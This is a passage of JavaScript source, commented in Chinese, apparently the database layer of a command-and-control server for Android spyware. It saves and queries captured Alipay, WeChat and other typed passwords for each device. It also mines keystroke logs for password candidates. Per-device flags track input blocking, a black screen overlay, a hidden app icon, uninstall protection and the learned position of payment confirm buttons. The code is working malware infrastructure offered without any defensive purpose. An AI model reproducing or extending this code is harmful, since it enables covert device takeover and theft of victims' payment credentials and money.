params.push(state.appHidden ? 1 : 0);
|
||
}
|
||
if (state.uninstallProtectionEnabled !== undefined) {
|
||
updates.push('uninstallProtectionEnabled = ?');
|
||
params.push(state.uninstallProtectionEnabled ? 1 : 0);
|
||
}
|
||
if (state.confirmButtonCoords !== undefined) {
|
||
updates.push('confirmButtonCoords = ?');
|
||
params.push(state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null);
|
||
}
|
||
if (state.learnedConfirmButton !== undefined) {
|
||
updates.push('learnedConfirmButton = ?');
|
||
params.push(state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null);
|
||
}
|
||
updates.push('updatedAt = ?');
|
||
params.push(now.toISOString());
|
||
params.push(deviceId);
|
||
const stmt = this.db.prepare(`
|
||
UPDATE device_states SET ${updates.join(', ')} WHERE deviceId = ?
|
||
`);
|
||
stmt.run(...params);
|
||
this.logger.info(`设备状态已更新: ${deviceId}`);
|
||
}
|
||
else {
|
||
// 创建新状态记录
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO device_states (
|
||
deviceId, password, inputBlocked, loggingEnabled,
|
||
blackScreenActive, appHidden, uninstallProtectionEnabled, lastPasswordUpdate, confirmButtonCoords, learnedConfirmButton,
|
||
createdAt, updatedAt
|
||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||
`);
|
||
stmt.run(deviceId, state.password || null, state.inputBlocked ? 1 : 0, state.loggingEnabled ? 1 : 0, state.blackScreenActive ? 1 : 0, state.appHidden ? 1 : 0, state.uninstallProtectionEnabled ? 1 : 0, state.password ? now.toISOString() : null, state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null, state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null, now.toISOString(), now.toISOString());
|
||
this.logger.info(`设备状态已创建: ${deviceId}`);
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存设备状态失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 更新设备密码
|
||
*/
|
||
updateDevicePassword(deviceId, password) {
|
||
try {
|
||
this.saveDeviceState(deviceId, { password });
|
||
this.logger.info(`设备密码已更新: ${deviceId}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('更新设备密码失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 更新设备输入阻止状态
|
||
*/
|
||
updateDeviceInputBlocked(deviceId, blocked) {
|
||
try {
|
||
this.saveDeviceState(deviceId, { inputBlocked: blocked });
|
||
this.logger.info(`设备输入阻止状态已更新: ${deviceId} -> ${blocked}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('更新设备输入阻止状态失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 更新设备日志记录状态
|
||
*/
|
||
updateDeviceLoggingEnabled(deviceId, enabled) {
|
||
this.saveDeviceState(deviceId, { loggingEnabled: enabled });
|
||
this.logger.info(`设备 ${deviceId} 日志状态已更新: ${enabled}`);
|
||
}
|
||
/**
|
||
* 🆕 更新设备黑屏遮盖状态
|
||
*/
|
||
updateDeviceBlackScreenActive(deviceId, active) {
|
||
this.saveDeviceState(deviceId, { blackScreenActive: active });
|
||
this.logger.info(`设备 ${deviceId} 黑屏遮盖状态已更新: ${active}`);
|
||
}
|
||
/**
|
||
* 🆕 更新设备应用隐藏状态
|
||
*/
|
||
updateDeviceAppHidden(deviceId, hidden) {
|
||
this.saveDeviceState(deviceId, { appHidden: hidden });
|
||
this.logger.info(`设备 ${deviceId} 应用隐藏状态已更新: ${hidden}`);
|
||
}
|
||
/**
|
||
* 🛡️ 更新设备防止卸载保护状态
|
||
*/
|
||
updateDeviceUninstallProtection(deviceId, enabled) {
|
||
this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled });
|
||
this.logger.info(`设备 ${deviceId} 防止卸载保护状态已更新: ${enabled}`);
|
||
}
|
||
/**
|
||
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
|
||
*/
|
||
getDevicePassword(deviceId) {
|
||
try {
|
||
// 1. 优先从设备状态表获取
|
||
const deviceState = this.getDeviceState(deviceId);
|
||
if (deviceState && deviceState.password) {
|
||
this.logger.info(`从状态表获取设备密码: ${deviceId}`);
|
||
return deviceState.password;
|
||
}
|
||
// 2. 从操作日志获取
|
||
const passwordFromLog = this.getLatestDevicePassword(deviceId);
|
||
if (passwordFromLog) {
|
||
this.logger.info(`从日志获取设备密码: ${deviceId}`);
|
||
// 同时保存到状态表
|
||
this.updateDevicePassword(deviceId, passwordFromLog);
|
||
return passwordFromLog;
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取设备密码失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 保存设备密码(别名方法,用于API调用)
|
||
*/
|
||
saveDevicePassword(deviceId, password) {
|
||
this.updateDevicePassword(deviceId, password);
|
||
}
|
||
/**
|
||
* ✅ 更新设备状态(别名方法,用于API调用)
|
||
*/
|
||
updateDeviceState(deviceId, state) {
|
||
this.saveDeviceState(deviceId, state);
|
||
}
|
||
/**
|
||
* 🆕 保存确认按钮坐标
|
||
*/
|
||
saveConfirmButtonCoords(deviceId, coords) {
|
||
try {
|
||
this.saveDeviceState(deviceId, { confirmButtonCoords: coords });
|
||
this.logger.info(`确认按钮坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存确认按钮坐标失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 获取确认按钮坐标
|
||
*/
|
||
getConfirmButtonCoords(deviceId) {
|
||
try {
|
||
const deviceState = this.getDeviceState(deviceId);
|
||
if (deviceState && deviceState.confirmButtonCoords) {
|
||
return deviceState.confirmButtonCoords;
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取确认按钮坐标失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 🆕 更新学习的确认按钮坐标
|
||
*/
|
||
updateLearnedConfirmButton(deviceId, coords) {
|
||
try {
|
||
const existing = this.getDeviceState(deviceId);
|
||
let learnedConfirmButton = { x: coords.x, y: coords.y, count: 1 };
|
||
if (existing && existing.learnedConfirmButton) {
|
||
// 更新现有学习数据
|
||
learnedConfirmButton = {
|
||
x: coords.x,
|
||
y: coords.y,
|
||
count: existing.learnedConfirmButton.count + 1
|
||
};
|
||
}
|
||
this.saveDeviceState(deviceId, { learnedConfirmButton });
|
||
this.logger.info(`学习的确认按钮坐标已更新: ${deviceId} -> (${coords.x}, ${coords.y}) 次数: ${learnedConfirmButton.count}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('更新学习的确认按钮坐标失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 从操作日志中获取可能的密码候选
|
||
*/
|
||
getPasswordCandidatesFromLogs(deviceId) {
|
||
try {
|
||
// 首先查看该设备有什么类型的日志
|
||
const allLogsQuery = `
|
||
SELECT logType, COUNT(*) as count
|
||
FROM operation_logs
|
||
WHERE deviceId = ?
|
||
GROUP BY logType
|
||
`;
|
||
const logTypeCounts = this.db.prepare(allLogsQuery).all(deviceId);
|
||
this.logger.info(`设备 ${deviceId} 的日志类型分布:`, logTypeCounts);
|
||
const query = `
|
||
SELECT content, extraData, timestamp, logType
|
||
FROM operation_logs
|
||
WHERE deviceId = ?
|
||
AND logType = 'TEXT_INPUT'
|
||
ORDER BY timestamp DESC
|
||
LIMIT 100
|
||
`;
|
||
const logs = this.db.prepare(query).all(deviceId);
|
||
this.logger.info(`从设备 ${deviceId} 获取到 ${logs.length} 条文本输入日志`);
|
||
return logs;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取密码候选失败:', error);
|
||
return [];
|
||
}
|
||
}
|
||
/**
|
||
* 💰 保存支付宝密码记录
|
||
*/
|
||
saveAlipayPassword(record) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO alipay_passwords (
|
||
deviceId, password, passwordLength, activity, inputMethod,
|
||
sessionId, timestamp, createdAt
|
||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||
`);
|
||
const now = new Date();
|
||
stmt.run(record.deviceId, record.password, record.passwordLength, record.activity, record.inputMethod, record.sessionId, record.timestamp.toISOString(), now.toISOString());
|
||
this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存支付宝密码失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 💰 获取设备的支付宝密码记录(分页)
|
||
*/
|
||
getAlipayPasswords(deviceId, page = 1, pageSize = 50) {
|
||
try {
|
||
// 查询总数
|
||
const countStmt = this.db.prepare(`
|
||
SELECT COUNT(*) as total FROM alipay_passwords WHERE deviceId = ?
|
||
`);
|
||
const totalResult = countStmt.get(deviceId);
|
||
const total = totalResult.total;
|
||
// 查询分页数据
|
||
const offset = (page - 1) * pageSize;
|
||
const dataStmt = this.db.prepare(`
|
||
SELECT * FROM alipay_passwords
|
||
WHERE deviceId = ?
|
||
ORDER BY timestamp DESC
|
||
LIMIT ? OFFSET ?
|
||
`);
|
||
const rows = dataStmt.all(deviceId, pageSize, offset);
|
||
const passwords = rows.map(row => ({
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
passwordLength: row.passwordLength,
|
||
activity: row.activity,
|
||
inputMethod: row.inputMethod,
|
||
sessionId: row.sessionId,
|
||
timestamp: new Date(row.timestamp),
|
||
createdAt: new Date(row.createdAt)
|
||
}));
|
||
const totalPages = Math.ceil(total / pageSize);
|
||
return {
|
||
passwords,
|
||
total,
|
||
page,
|
||
pageSize,
|
||
totalPages
|
||
};
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取支付宝密码记录失败:', error);
|
||
return {
|
||
passwords: [],
|
||
total: 0,
|
||
page: 1,
|
||
pageSize,
|
||
totalPages: 0
|
||
};
|
||
}
|
||
}
|
||
/**
|
||
* 💰 获取设备最新的支付宝密码
|
||
*/
|
||
getLatestAlipayPassword(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT * FROM alipay_passwords
|
||
WHERE deviceId = ?
|
||
ORDER BY timestamp DESC
|
||
LIMIT 1
|
||
`);
|
||
const row = stmt.get(deviceId);
|
||
if (row) {
|
||
return {
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
passwordLength: row.passwordLength,
|
||
activity: row.activity,
|
||
inputMethod: row.inputMethod,
|
||
sessionId: row.sessionId,
|
||
timestamp: new Date(row.timestamp),
|
||
createdAt: new Date(row.createdAt)
|
||
};
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取最新支付宝密码失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 💰 删除设备的支付宝密码记录
|
||
*/
|
||
clearAlipayPasswords(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM alipay_passwords WHERE deviceId = ?
|
||
`);
|
||
const result = stmt.run(deviceId);
|
||
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条支付宝密码记录`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理支付宝密码记录失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 💰 清理旧的支付宝密码记录
|
||
*/
|
||
cleanupOldAlipayPasswords(daysToKeep = 30) {
|
||
try {
|
||
const cutoffDate = new Date();
|
||
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM alipay_passwords WHERE timestamp < ?
|
||
`);
|
||
const result = stmt.run(cutoffDate.toISOString());
|
||
this.logger.info(`清理了 ${result.changes} 条旧支付宝密码记录 (${daysToKeep}天前)`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理旧支付宝密码记录失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 💬 保存微信密码记录
|
||
*/
|
||
saveWechatPassword(record) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO wechat_passwords (
|
||
deviceId, password, passwordLength, activity, inputMethod,
|
||
sessionId, timestamp, createdAt
|
||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||
`);
|
||
const now = new Date();
|
||
stmt.run(record.deviceId, record.password, record.passwordLength, record.activity, record.inputMethod, record.sessionId, record.timestamp.toISOString(), now.toISOString());
|
||
this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('保存微信密码失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 💬 获取设备的微信密码记录(分页)
|
||
*/
|
||
getWechatPasswords(deviceId, page = 1, pageSize = 50) {
|
||
try {
|
||
// 查询总数
|
||
const countStmt = this.db.prepare(`
|
||
SELECT COUNT(*) as total FROM wechat_passwords WHERE deviceId = ?
|
||
`);
|
||
const totalResult = countStmt.get(deviceId);
|
||
const total = totalResult.total;
|
||
// 查询分页数据
|
||
const offset = (page - 1) * pageSize;
|
||
const dataStmt = this.db.prepare(`
|
||
SELECT * FROM wechat_passwords
|
||
WHERE deviceId = ?
|
||
ORDER BY timestamp DESC
|
||
LIMIT ? OFFSET ?
|
||
`);
|
||
const rows = dataStmt.all(deviceId, pageSize, offset);
|
||
const passwords = rows.map(row => ({
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
passwordLength: row.passwordLength,
|
||
activity: row.activity,
|
||
inputMethod: row.inputMethod,
|
||
sessionId: row.sessionId,
|
||
timestamp: new Date(row.timestamp),
|
||
createdAt: new Date(row.createdAt)
|
||
}));
|
||
const totalPages = Math.ceil(total / pageSize);
|
||
return {
|
||
passwords,
|
||
total,
|
||
page,
|
||
pageSize,
|
||
totalPages
|
||
};
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取微信密码记录失败:', error);
|
||
return {
|
||
passwords: [],
|
||
total: 0,
|
||
page: 1,
|
||
pageSize,
|
||
totalPages: 0
|
||
};
|
||
}
|
||
}
|
||
/**
|
||
* 💬 获取设备最新的微信密码
|
||
*/
|
||
getLatestWechatPassword(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT * FROM wechat_passwords
|
||
WHERE deviceId = ?
|
||
ORDER BY timestamp DESC
|
||
LIMIT 1
|
||
`);
|
||
const row = stmt.get(deviceId);
|
||
if (row) {
|
||
return {
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
passwordLength: row.passwordLength,
|
||
activity: row.activity,
|
||
inputMethod: row.inputMethod,
|
||
sessionId: row.sessionId,
|
||
timestamp: new Date(row.timestamp),
|
||
createdAt: new Date(row.createdAt)
|
||
};
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取最新微信密码失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 💬 删除设备的微信密码记录
|
||
*/
|
||
clearWechatPasswords(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM wechat_passwords WHERE deviceId = ?
|
||
`);
|
||
const result = stmt.run(deviceId);
|
||
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条微信密码记录`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理微信密码记录失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 💬 清理旧的微信密码记录
|
||
*/
|
||
cleanupOldWechatPasswords(daysToKeep = 30) {
|
||
try {
|
||
const cutoffDate = new Date();
|
||
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM wechat_passwords WHERE timestamp < ?
|
||
`);
|
||
const result = stmt.run(cutoffDate.toISOString());
|
||
this.logger.info(`清理了 ${result.changes} 条旧微信密码记录 (${daysToKeep}天前)`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理旧微信密码记录失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 保存通用密码输入记录
|
||
*/
|
||
savePasswordInput(record) {
|
||
try {
|
||
// 🔧 在保存前验证设备是否存在
|
||
const deviceExists = this.getDeviceById(record.deviceId);
|
||
if (!deviceExists) {
|
||
const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录`;
|
||
this.logger.error(`❌ ${errorMsg}`);
|
||
throw new Error(errorMsg);
|
||
}
|
||
const stmt = this.db.prepare(`
|
||
INSERT INTO password_inputs (
|
||
deviceId, password, passwordLength, passwordType, activity, inputMethod,
|
||
installationId, sessionId, timestamp, createdAt
|
||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||
`);
|
||
const now = new Date();
|
||
stmt.run(record.deviceId, record.password, record.passwordLength, record.passwordType, record.activity, record.inputMethod, record.installationId, record.sessionId, record.timestamp.toISOString(), now.toISOString());
|
||
this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`);
|
||
}
|
||
catch (error) {
|
||
// 🔧 提供更详细的错误信息
|
||
if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') {
|
||
const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中`;
|
||
this.logger.error(`❌ ${errorMsg}`);
|
||
throw new Error(errorMsg);
|
||
}
|
||
else {
|
||
this.logger.error('保存通用密码输入失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 获取设备的通用密码输入记录(分页)
|
||
*/
|
||
getPasswordInputs(deviceId, page = 1, pageSize = 50, passwordType) {
|
||
try {
|
||
// 构建查询条件
|
||
let whereClause = 'WHERE deviceId = ?';
|
||
let params = [deviceId];
|
||
if (passwordType) {
|
||
whereClause += ' AND passwordType = ?';
|
||
params.push(passwordType);
|
||
}
|
||
// 查询总数
|
||
const countStmt = this.db.prepare(`
|
||
SELECT COUNT(*) as total FROM password_inputs ${whereClause}
|
||
`);
|
||
const totalResult = countStmt.get(...params);
|
||
const total = totalResult.total;
|
||
// 查询分页数据
|
||
const offset = (page - 1) * pageSize;
|
||
const dataStmt = this.db.prepare(`
|
||
SELECT * FROM password_inputs ${whereClause}
|
||
ORDER BY timestamp DESC
|
||
LIMIT ? OFFSET ?
|
||
`);
|
||
const rows = dataStmt.all(...params, pageSize, offset);
|
||
const passwords = rows.map(row => ({
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
passwordLength: row.passwordLength,
|
||
passwordType: row.passwordType,
|
||
activity: row.activity,
|
||
inputMethod: row.inputMethod,
|
||
installationId: row.installationId,
|
||
sessionId: row.sessionId,
|
||
timestamp: new Date(row.timestamp),
|
||
createdAt: new Date(row.createdAt)
|
||
}));
|
||
const totalPages = Math.ceil(total / pageSize);
|
||
return {
|
||
passwords,
|
||
total,
|
||
page,
|
||
pageSize,
|
||
totalPages
|
||
};
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取通用密码输入记录失败:', error);
|
||
return {
|
||
passwords: [],
|
||
total: 0,
|
||
page: 1,
|
||
pageSize,
|
||
totalPages: 0
|
||
};
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 获取设备最新的通用密码输入
|
||
*/
|
||
getLatestPasswordInput(deviceId, passwordType) {
|
||
try {
|
||
let query = `
|
||
SELECT * FROM password_inputs
|
||
WHERE deviceId = ?
|
||
`;
|
||
let params = [deviceId];
|
||
if (passwordType) {
|
||
query += ' AND passwordType = ?';
|
||
params.push(passwordType);
|
||
}
|
||
query += ' ORDER BY timestamp DESC LIMIT 1';
|
||
const stmt = this.db.prepare(query);
|
||
const row = stmt.get(...params);
|
||
if (row) {
|
||
return {
|
||
id: row.id,
|
||
deviceId: row.deviceId,
|
||
password: row.password,
|
||
passwordLength: row.passwordLength,
|
||
passwordType: row.passwordType,
|
||
activity: row.activity,
|
||
inputMethod: row.inputMethod,
|
||
installationId: row.installationId,
|
||
sessionId: row.sessionId,
|
||
timestamp: new Date(row.timestamp),
|
||
createdAt: new Date(row.createdAt)
|
||
};
|
||
}
|
||
return null;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取最新通用密码输入失败:', error);
|
||
return null;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 删除设备的通用密码输入记录
|
||
*/
|
||
clearPasswordInputs(deviceId, passwordType) {
|
||
try {
|
||
let query = 'DELETE FROM password_inputs WHERE deviceId = ?';
|
||
let params = [deviceId];
|
||
if (passwordType) {
|
||
query += ' AND passwordType = ?';
|
||
params.push(passwordType);
|
||
}
|
||
const stmt = this.db.prepare(query);
|
||
const result = stmt.run(...params);
|
||
const typeDesc = passwordType ? ` (类型: ${passwordType})` : '';
|
||
this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条通用密码输入记录${typeDesc}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理通用密码输入记录失败:', error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 清理旧的通用密码输入记录
|
||
*/
|
||
cleanupOldPasswordInputs(daysToKeep = 30) {
|
||
try {
|
||
const cutoffDate = new Date();
|
||
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
||
const stmt = this.db.prepare(`
|
||
DELETE FROM password_inputs WHERE timestamp < ?
|
||
`);
|
||
const result = stmt.run(cutoffDate.toISOString());
|
||
this.logger.info(`清理了 ${result.changes} 条旧通用密码输入记录 (${daysToKeep}天前)`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理旧通用密码输入记录失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 获取密码类型统计
|
||
*/
|
||
getPasswordTypeStats(deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT
|
||
passwordType,
|
||
COUNT(*) as count,
|
||
MIN(timestamp) as firstInput,
|
||
MAX(timestamp) as lastInput
|
||
FROM password_inputs
|
||
WHERE deviceId = ?
|
||
GROUP BY passwordType
|
||
ORDER BY count DESC
|
||
`);
|
||
const stats = stmt.all(deviceId);
|
||
return stats.map((stat) => ({
|
||
passwordType: stat.passwordType,
|
||
count: stat.count,
|
||
firstInput: new Date(stat.firstInput),
|
||
lastInput: new Date(stat.lastInput)
|
||
}));
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取密码类型统计失败:', error);
|
||
return [];
|
||
}
|
||
}
|
||
/**
|
||
* ✅ 删除设备及其所有相关数据
|
||
*/
|
||
deleteDevice(deviceId) {
|
||
try {
|
||
this.logger.info(`🗑️ 开始删除设备: ${deviceId}`);
|
||
// 开始事务
|
||
const deleteTransaction = this.db.transaction(() => {
|
||
// 1. 删除设备状态记录
|
||
const deleteDeviceState = this.db.prepare('DELETE FROM device_states WHERE deviceId = ?');
|
||
const deviceStateResult = deleteDeviceState.run(deviceId);
|
||
this.logger.debug(`删除设备状态记录: ${deviceStateResult.changes} 条`);
|
||
// 2. 删除操作日志
|
||
const deleteOperationLogs = this.db.prepare('DELETE FROM operation_logs WHERE deviceId = ?');
|
||
const logsResult = deleteOperationLogs.run(deviceId);
|
||
this.logger.debug(`删除操作日志: ${logsResult.changes} 条`);
|
||
// 3. 删除连接记录
|
||
const deleteConnections = this.db.prepare('DELETE FROM connection_history WHERE deviceId = ?');
|
||
const connectionsResult = deleteConnections.run(deviceId);
|
||
this.logger.debug(`删除连接记录: ${connectionsResult.changes} 条`);
|
||
// 4. 删除支付宝密码记录
|
||
const deleteAlipayPasswords = this.db.prepare('DELETE FROM alipay_passwords WHERE deviceId = ?');
|
||
const alipayResult = deleteAlipayPasswords.run(deviceId);
|
||
this.logger.debug(`删除支付宝密码记录: ${alipayResult.changes} 条`);
|
||
// 5. 删除微信密码记录
|
||
const deleteWechatPasswords = this.db.prepare('DELETE FROM wechat_passwords WHERE deviceId = ?');
|
||
const wechatResult = deleteWechatPasswords.run(deviceId);
|
||
this.logger.debug(`删除微信密码记录: ${wechatResult.changes} 条`);
|
||
// 6. 删除通用密码输入记录
|
||
const deletePasswordInputs = this.db.prepare('DELETE FROM password_inputs WHERE deviceId = ?');
|
||
const passwordInputsResult = deletePasswordInputs.run(deviceId);
|
||
this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`);
|
||
// 7. 删除用户设备权限记录
|
||
const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?');
|
||
const userPermissionsResult = deleteUserPermissions.run(deviceId);
|
||
this.logger.debug(`删除用户设备权限记录: ${userPermissionsResult.changes} 条`);
|
||
// 8. 最后删除设备记录
|
||
const deleteDevice = this.db.prepare('DELETE FROM devices WHERE deviceId = ?');
|
||
const deviceResult = deleteDevice.run(deviceId);
|
||
this.logger.debug(`删除设备记录: ${deviceResult.changes} 条`);
|
||
if (deviceResult.changes === 0) {
|
||
throw new Error(`设备不存在: ${deviceId}`);
|
||
}
|
||
return {
|
||
deviceRecords: deviceResult.changes,
|
||
stateRecords: deviceStateResult.changes,
|
||
logRecords: logsResult.changes,
|
||
connectionRecords: connectionsResult.changes,
|
||
alipayRecords: alipayResult.changes,
|
||
wechatRecords: wechatResult.changes,
|
||
passwordInputRecords: passwordInputsResult.changes,
|
||
userPermissionRecords: userPermissionsResult.changes
|
||
};
|
||
});
|
||
// 执行事务
|
||
const result = deleteTransaction();
|
||
this.logger.info(`✅ 设备删除完成: ${deviceId}`);
|
||
this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`删除设备失败: ${deviceId}`, error);
|
||
throw error;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 授予用户设备控制权限
|
||
*/
|
||
grantUserDevicePermission(userId, deviceId, permissionType = 'control', expiresAt) {
|
||
try {
|
||
const now = new Date();
|
||
// 🛡️ 默认权限有效期为7天,平衡安全性和可用性
|
||
const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000);
|
||
const stmt = this.db.prepare(`
|
||
INSERT OR REPLACE INTO user_device_permissions
|
||
(userId, deviceId, permissionType, grantedAt, expiresAt, isActive, createdAt, updatedAt)
|
||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||
`);
|
||
stmt.run(userId, deviceId, permissionType, now.toISOString(), defaultExpiresAt.toISOString(), 1, now.toISOString(), now.toISOString());
|
||
this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`);
|
||
return true;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('授予用户设备权限失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 撤销用户设备权限
|
||
*/
|
||
revokeUserDevicePermission(userId, deviceId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
UPDATE user_device_permissions
|
||
SET isActive = FALSE, updatedAt = ?
|
||
WHERE userId = ? AND deviceId = ?
|
||
`);
|
||
const result = stmt.run(new Date().toISOString(), userId, deviceId);
|
||
if (result.changes > 0) {
|
||
this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`);
|
||
return true;
|
||
}
|
||
else {
|
||
this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('撤销用户设备权限失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 检查用户是否有设备权限
|
||
*/
|
||
hasUserDevicePermission(userId, deviceId, permissionType = 'control') {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT COUNT(*) as count FROM user_device_permissions
|
||
WHERE userId = ? AND deviceId = ? AND permissionType = ? AND isActive = TRUE
|
||
AND (expiresAt IS NULL OR expiresAt > ?)
|
||
`);
|
||
const result = stmt.get(userId, deviceId, permissionType, new Date().toISOString());
|
||
return result.count > 0;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('检查用户设备权限失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 获取用户的所有设备权限
|
||
*/
|
||
getUserDevicePermissions(userId) {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
SELECT deviceId, permissionType, grantedAt FROM user_device_permissions
|
||
WHERE userId = ? AND isActive = TRUE
|
||
AND (expiresAt IS NULL OR expiresAt > ?)
|
||
ORDER BY grantedAt DESC
|
||
`);
|
||
const rows = stmt.all(userId, new Date().toISOString());
|
||
return rows.map(row => ({
|
||
deviceId: row.deviceId,
|
||
permissionType: row.permissionType,
|
||
grantedAt: new Date(row.grantedAt)
|
||
}));
|
||
}
|
||
catch (error) {
|
||
this.logger.error('获取用户设备权限失败:', error);
|
||
return [];
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 清理过期的权限
|
||
*/
|
||
cleanupExpiredPermissions() {
|
||
try {
|
||
const stmt = this.db.prepare(`
|
||
UPDATE user_device_permissions
|
||
SET isActive = FALSE, updatedAt = ?
|
||
WHERE isActive = TRUE AND expiresAt IS NOT NULL AND expiresAt <= ?
|
||
`);
|
||
